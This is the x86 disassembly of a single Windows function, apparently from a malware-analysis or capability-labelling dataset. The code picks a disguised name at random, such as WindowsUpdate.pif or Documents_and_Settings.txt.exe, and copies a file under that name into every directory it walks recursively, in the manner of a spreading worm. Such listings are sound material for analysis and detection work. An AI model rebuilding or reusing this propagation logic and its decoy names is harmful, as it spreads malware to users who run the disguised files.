Function at 0x4012e0
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x394
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x50]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x50]
push 0x41422c
push eax
mov dword [esp + 0x18], str.mmc.exe
mov dword [esp + 0x1c], str.xcopy.exe
mov dword [esp + 0x20], str.winhlp32.exe
mov dword [esp + 0x24], str.i386.exe
mov dword [esp + 0x28], str.client.exe
mov dword [esp + 0x2c], str.findpass.exe
mov dword [esp + 0x30], str.autoexec.bat
mov dword [esp + 0x34], str.MSDN.ZIP.pif
mov dword [esp + 0x38], str.Cain.pif
mov dword [esp + 0x3c], str.WindowsUpdate.pif
mov dword [esp + 0x40], str.Support_Tools.exe
mov dword [esp + 0x44], str.Windows_Media_Player.zip.exe
mov dword [esp + 0x48], str.Microsoft_Office.exe
mov dword [esp + 0x4c], str.Documents_and_Settings.txt.exe
mov dword [esp + 0x50], str.Internet_Explorer.bat
mov dword [esp + 0x54], str.WinRAR.exe
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebp, dword [esp + 0x3a4]
push ebp
call fcn.0040a3f3
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xf
mov ecx, dword [esp + eax*4 + 0x14]
push ecx
push 0x43f000
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4013c0
pop edi
pop esi
pop ebp
add esp, 0x394
ret
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x103
lea edx, [esp + 0x54]
push ebp
push edx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x50]
push eax
call esi
cmp byte [esp + eax + 0x4f], 0x5c
jne 0x401409
lea ecx, [esp + 0x50]
push ecx
call esi
mov edx, 0x104
sub edx, eax
lea eax, [esp + 0x50]
push edx
push 0x41410c
push eax
call esi
lea ecx, [esp + eax + 0x58]
push ecx
jmp 0x401429
lea edx, [esp + 0x50]
push edx
call esi
mov ecx, 0x104
lea edx, [esp + 0x50]
sub ecx, eax
push ecx
push 0x414108
push edx
call esi
lea eax, [esp + eax + 0x58]
push eax
call edi
lea ecx, [esp + 0x260]
lea edx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x401453
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x394
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea eax, [esp + 0x290]
push 0x4140ac
push eax
call ebx
test eax, eax
je 0x40151c
lea ecx, [esp + 0x290]
push 0x414104
push ecx
call ebx
test eax, eax
je 0x40151c
test byte [esp + 0x264], 0x10
je 0x40151c
push 0x103
lea edx, [esp + 0x160]
push ebp
push edx
call edi
lea eax, [esp + 0x15c]
push eax
call esi
cmp byte [esp + eax + 0x15b], 0x5c
jne 0x4014cb
lea ecx, [esp + 0x15c]
push ecx
call esi
mov edx, 0x103
jmp 0x4014ed
lea eax, [esp + 0x15c]
push 0x414100
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x15c]
push ecx
call esi
mov edx, 0x104
sub edx, eax
lea eax, [esp + 0x290]
push edx
lea ecx, [esp + 0x160]
push eax
push ecx
call esi
lea edx, [esp + eax + 0x164]
push edx
call edi
lea eax, [esp + 0x15c]
push eax
call fcn.004012e0
add esp, 4
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x264]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40145a
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x394
ret